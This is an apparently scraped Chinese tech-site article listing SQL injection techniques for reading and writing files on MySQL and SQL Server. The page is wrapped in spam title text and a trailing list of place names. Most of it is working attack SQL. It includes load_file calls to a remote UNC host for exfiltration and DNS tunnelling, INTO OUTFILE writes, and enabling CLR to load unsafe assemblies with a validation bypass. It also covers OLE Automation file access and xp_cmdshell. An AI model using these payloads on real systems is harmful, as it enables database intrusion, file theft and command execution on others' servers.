91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

SQL注入中文件讀寫的方法有哪些

發布時間:2021-07-29 09:30:28 來源:億速云 閱讀:111 作者:小新 欄目:數據庫

這篇文章主要介紹了SQL注入中文件讀寫的方法有哪些,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。

一、MySQL

讀文件

常見的讀文件,可以用16進制代替字符串

select load_file('c:/boot.ini')
select load_file(0x633a2f626f6f742e696e69)
select load_file('//ecma.io/1.txt') # smb協議
select load_file('\\\\ecma.io\\1.txt') # 可用于DNS隧道

寫文件

我暫時已知l兩種寫文件的方式

select 0x313233 into outfile 'D:/1.txt'
select 0x313233 into dumpfile 'D:/1.txt'

二、 SQL Server

讀文件

1. BULK INSERT

create table result(res varchar(8000));
bulk insert result from 'd:/1.txt';

2. CLR集成

// 開啟CLR集成
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'clr enabled',1
reconfigure
create assembly sqb from 'd:\1.exe' with permission_set=unsafe

上面一句可以利用create assembly函數從遠程服務器加載任何.NET二進制文件到數據庫中;但是他會驗證是否為合法.NET程序,導致失敗,下面是讀取方式

select master.dbo.fn_varbintohexstr(cast(content as varbinary)) from sys.assembly_files

繞過,首先加載一個有效的.NET的二進制文件,然后追加文件即可,下面是繞過方法。

create assembly sqb from 'd:\net.exe';
alter assembly sqb add file from 'd:\1.txt'
alter assembly sqb add file from 'd:\notnet.exe'

3. Script.FileSystemObject

# 開啟Ole Automation Procedures
 
sp_configure 'show advanced options',1;
RECONFIGURE;
sp_configure 'Ole Automation Procedures',1;
RECONFIGURE;
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'opentextfile', @f out, 'd:\1.txt', 1
exec @ret = sp_onmethod @f, 'readline', @line out
while(@ret = 0) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end

寫文件

1. Script.FileSystemObject

declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:\1.txt', 1
exec @ret = sp_oamethod @f, 'writeline', NULL ,'This is the test string'

2. BCP復制文件(測試失敗,無bcp.exe)

c:\windows>system32>bcp "select name from sysobjects" query testout.txt -c -s 127.0.0.1 -U sa -p"sa"

3. xp_cmdshell

exec xp_cmdshell 'echo test>d:\1.txt'

三、Oracle

pass,Oracle太坑了~~~幾乎都受到PL/SQL的限制,暫時不討論

感謝你能夠認真閱讀完這篇文章,希望小編分享的“SQL注入中文件讀寫的方法有哪些”這篇文章對大家有幫助,同時也希望大家多多支持億速云,關注億速云行業資訊頻道,更多相關知識等著你來學習!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

sql
AI

客服| 锦屏县| 肇州县| 米林县| 松桃| 榕江县| 光山县| 五寨县| 阳原县| 铜梁县| 咸丰县| 保德县| 米脂县| 云安县| 开鲁县| 都江堰市| 辽源市| 荣昌县| 乌苏市| 梅河口市| 巫溪县| 丰都县| 万源市| 邯郸县| 芜湖市| 汶上县| 阳谷县| 贵溪市| 渑池县| 崇义县| 福州市| 宝清县| 定兴县| 洱源县| 涪陵区| 德安县| 海淀区| 石渠县| 土默特左旗| 宁国市| 阜平县|